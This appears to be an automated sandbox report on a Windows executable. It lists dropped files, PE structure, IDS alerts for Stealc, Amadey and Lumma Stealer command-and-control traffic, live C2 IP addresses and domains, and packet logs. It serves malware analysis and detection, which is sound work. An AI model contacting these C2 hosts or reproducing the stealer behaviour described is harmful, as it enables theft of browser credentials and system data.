MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsECBGHCGCBK.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3194368
Entropy (8bit):	6.685494768277536
Encrypted:	false
SSDEEP:	49152:g44HxOiD33zk2gTwkkEAKMFrkYzYuwaNEH1yfjKXBRDwa:g4TiD33zk2gTwkkz5rdzvUVy7KxRDF
MD5:	0EA572534507BB08D80B0A5C07F511D9
SHA1:	4E8B5A839B5BD6FE65A45028D63AAC6AFFB3B32C
SHA-256:	2935680BF092B759889013E387AAB450A7650E1FCF9AA977DD60337BE81E8163
SHA-512:	84C807B466DFEB9B791B468948CB0ECA36013BE4C5BA291381CC8EC04671BD637C25F743532218A59B92FA8B494C663B94BA6FB9B962B9B13ABD0B85CA8F0C5E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@...........................1.......1...@.................................W...k...........................d.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...xgavsnrb..........................@...dcsjrelb......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsECBGHCGCBK.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.4231598656512467
Encrypted:	false
SSDEEP:	6:RGmKpXUhXUEZ+lX1CGdKUe6tE9+AQy0lB4ut0:RXK14Q1CGAFD9+nVBht0
MD5:	12578347AF69E31A67D8BD5AFD2D5395
SHA1:	6F03A3A05787656D2F1616BD6E61C2327619DCCB
SHA-256:	8EAE3B2856DE2C477892899146ED9A133CBA530F9D804D869D3125E3CAEA15DF
SHA-512:	F692A989F02DA9D18241C86651B03495306CDD017F826810966F2CEC29CD0D41C1E887DAE82CE333676C0161F5A3FA580D232EEED1FA3D7E16C2480914530317
Malicious:	false
Preview:	.......R..7L.@...te.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................).@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944863748243677
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'820'160 bytes
MD5:	277c62f3813525889d2ae9a5562817b3
SHA1:	ed9e5ed56898048706a886b691746016c6627e4b
SHA256:	bd1ada988e922b8954c930563166cefceb60ae1c15868fd2a6d3e20ec8fb8e70
SHA512:	aa2992e55e985dff156c683ac2a6ab3e42c9be810a4f6992ef3f5907f353e0bdf2388b06fc6c32ede7ab6a1352f53fef21ef8867520edb242870c199289f01ae
SSDEEP:	49152:X/zAGUUSRe3Um44UutIrylIpJLmX3HEA0qCMh:X/sNmPTCLkEA02
TLSH:	248533037B398D0EC668C235E6A482E47B7167A41327BD7F84A4DE5D5E3BC10A34B6E1
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9f000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB4392B368Ah
shld dword ptr [ebx], ebx, 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FB4392B5685h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [0100000Ah], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
lahf
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	f9b7faa003444f69ecd7f0e9b1b73a94	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2af000	0x200	096f9fb6e98795d29acbb1be03ea2247	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kntikdlf	0x4fb000	0x1a3000	0x1a2a00	a8563190b756194d1ddd959bf2c6c4de	False	0.9949646816213795	data	7.95335449432148	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xdprgvya	0x69e000	0x1000	0x400	6881488772cf5c45b0892f99db017d8e	False	0.7890625	data	6.129116857898279	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69f000	0x3000	0x2200	5f3889dc539098b396e5ab7f35aa6968	False	0.05962775735294118	DOS executable (COM)	0.8157909109965312	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-11T12:40:05.693289+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-11T12:40:05.896642+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-11T12:40:05.961394+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49709	TCP
2024-11-11T12:40:06.159548+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-11T12:40:06.174587+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49709	TCP
2024-11-11T12:40:07.108201+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-11T12:40:07.608465+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-11T12:40:24.298995+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.6	49806	TCP
2024-11-11T12:40:27.058071+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:28.400089+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:29.122925+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:29.483853+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:30.410632+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:30.895433+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49827	185.215.113.206	80	TCP
2024-11-11T12:40:35.513248+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49953	185.215.113.16	80	TCP
2024-11-11T12:41:02.635553+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	52.149.20.212	443	192.168.2.6	50111	TCP
2024-11-11T12:41:04.797908+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50112	185.215.113.43	80	TCP
2024-11-11T12:41:07.615173+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50115	185.215.113.16	80	TCP
2024-11-11T12:41:10.455686+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	59337	1.1.1.1	53	UDP
2024-11-11T12:41:10.492601+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	62277	1.1.1.1	53	UDP
2024-11-11T12:41:10.517702+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	50167	1.1.1.1	53	UDP
2024-11-11T12:41:10.542486+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	54772	1.1.1.1	53	UDP
2024-11-11T12:41:10.567754+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	62545	1.1.1.1	53	UDP
2024-11-11T12:41:10.591728+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.6	58179	1.1.1.1	53	UDP
2024-11-11T12:41:10.615771+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.6	57356	1.1.1.1	53	UDP
2024-11-11T12:41:10.641756+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.6	65221	1.1.1.1	53	UDP
2024-11-11T12:41:10.882073+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50114	TCP
2024-11-11T12:41:11.329178+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50116	23.50.98.133	443	TCP
2024-11-11T12:41:11.522295+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50117	185.215.113.43	80	TCP
2024-11-11T12:41:11.932884+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50116	23.50.98.133	443	TCP
2024-11-11T12:41:12.166138+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50118	185.215.113.16	80	TCP
2024-11-11T12:41:12.452188+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50119	188.114.97.3	443	TCP
2024-11-11T12:41:12.807000+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50119	188.114.97.3	443	TCP
2024-11-11T12:41:12.807000+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50119	188.114.97.3	443	TCP
2024-11-11T12:41:13.293835+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50120	188.114.97.3	443	TCP
2024-11-11T12:41:13.887949+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50120	188.114.97.3	443	TCP
2024-11-11T12:41:13.887949+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50120	188.114.97.3	443	TCP
2024-11-11T12:41:14.597891+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50121	188.114.97.3	443	TCP
2024-11-11T12:41:15.014710+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50121	188.114.97.3	443	TCP
2024-11-11T12:41:15.746546+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50122	185.215.113.206	80	TCP
2024-11-11T12:41:15.941400+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50124	188.114.97.3	443	TCP
2024-11-11T12:41:16.034991+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50123	185.215.113.43	80	TCP
2024-11-11T12:41:17.267190+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50126	188.114.97.3	443	TCP
2024-11-11T12:41:18.623691+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50127	188.114.97.3	443	TCP
2024-11-11T12:41:19.666717+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50128	185.215.113.43	80	TCP
2024-11-11T12:41:20.459362+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50129	185.215.113.16	80	TCP
2024-11-11T12:41:20.536360+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50131	188.114.97.3	443	TCP
2024-11-11T12:41:20.540156+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50131	188.114.97.3	443	TCP
2024-11-11T12:41:23.175934+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	52334	1.1.1.1	53	UDP
2024-11-11T12:41:23.215003+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	61456	1.1.1.1	53	UDP
2024-11-11T12:41:23.239195+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	64225	1.1.1.1	53	UDP
2024-11-11T12:41:23.268297+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	62591	1.1.1.1	53	UDP
2024-11-11T12:41:23.326079+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	49993	1.1.1.1	53	UDP
2024-11-11T12:41:23.358715+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.6	62829	1.1.1.1	53	UDP
2024-11-11T12:41:23.385428+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.6	57896	1.1.1.1	53	UDP
2024-11-11T12:41:23.414043+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.6	63664	1.1.1.1	53	UDP
2024-11-11T12:41:24.056197+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50135	23.50.98.133	443	TCP
2024-11-11T12:41:24.092720+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50136	188.114.97.3	443	TCP
2024-11-11T12:41:24.576332+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50136	188.114.97.3	443	TCP
2024-11-11T12:41:24.694738+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50137	185.215.113.43	80	TCP
2024-11-11T12:41:24.725450+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50135	23.50.98.133	443	TCP
2024-11-11T12:41:25.184421+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50141	188.114.97.3	443	TCP
2024-11-11T12:41:25.527568+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50141	188.114.97.3	443	TCP
2024-11-11T12:41:25.527568+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50141	188.114.97.3	443	TCP
2024-11-11T12:41:26.053022+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50143	188.114.97.3	443	TCP
2024-11-11T12:41:26.403178+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50143	188.114.97.3	443	TCP
2024-11-11T12:41:26.403178+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50143	188.114.97.3	443	TCP
2024-11-11T12:41:27.403855+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50147	188.114.97.3	443	TCP
2024-11-11T12:41:29.080823+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50149	188.114.97.3	443	TCP
2024-11-11T12:41:30.411183+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50150	185.215.113.206	80	TCP
2024-11-11T12:41:30.586231+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50151	188.114.97.3	443	TCP
2024-11-11T12:41:32.277646+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50153	188.114.97.3	443	TCP
2024-11-11T12:41:33.543258+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50155	188.114.97.3	443	TCP
2024-11-11T12:41:33.565571+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50155	188.114.97.3	443	TCP
2024-11-11T12:41:35.145027+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50156	188.114.97.3	443	TCP
2024-11-11T12:41:36.017449+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50158	185.215.113.206	80	TCP
2024-11-11T12:41:47.525768+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.6	63792	1.1.1.1	53	UDP
2024-11-11T12:41:47.552259+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.6	61145	1.1.1.1	53	UDP
2024-11-11T12:41:47.577871+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.6	49470	1.1.1.1	53	UDP
2024-11-11T12:41:47.586749+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.6	58183	1.1.1.1	53	UDP
2024-11-11T12:41:47.612375+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	60758	1.1.1.1	53	UDP
2024-11-11T12:41:47.638449+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.6	60509	1.1.1.1	53	UDP
2024-11-11T12:41:47.665691+0100	2057119	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store)	1	192.168.2.6	58701	1.1.1.1	53	UDP
2024-11-11T12:41:47.691750+0100	2057101	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (scriptyprefej .store)	1	192.168.2.6	59480	1.1.1.1	53	UDP
2024-11-11T12:41:48.312515+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50165	23.192.247.89	443	TCP
2024-11-11T12:41:48.834469+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50165	23.192.247.89	443	TCP
2024-11-11T12:41:57.266573+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50170	185.215.113.206	80	TCP
2024-11-11T12:45:02.751789+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	61383	40.79.150.121	443	TCP
2024-11-11T12:46:06.473847+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	61413	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 11, 2024 12:39:58.805613995 CET	49674	443	192.168.2.6	173.222.162.64
Nov 11, 2024 12:39:58.805620909 CET	49673	443	192.168.2.6	173.222.162.64
Nov 11, 2024 12:39:59.149374008 CET	49672	443	192.168.2.6	173.222.162.64
Nov 11, 2024 12:40:04.193754911 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:04.198726892 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:04.198827028 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:04.199618101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:04.204457045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:05.469621897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:05.469659090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:05.469670057 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:05.469779968 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:05.469819069 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:05.471050024 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:05.473371029 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:05.478245974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:05.693198919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:05.693289042 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:05.694259882 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:05.699105978 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:05.787168026 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:05.787214994 CET	443	49710	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:05.787269115 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:05.787857056 CET	49710	443	192.168.2.6	40.113.103.199
Nov 11, 2024 12:40:05.787873983 CET	443	49710	40.113.103.199	192.168.2.6
Nov 11, 2024 12:40:05.896471977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:05.896500111 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:05.896641970 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:05.956415892 CET	49709	80	192.168.2.6	185.215.113.206
Nov 11, 2024 12:40:05.961394072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.159476995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.159495115 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.159509897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 11, 2024 12:40:06.159523964 CET	80	49709	185.215.113.206	192.168.2.6
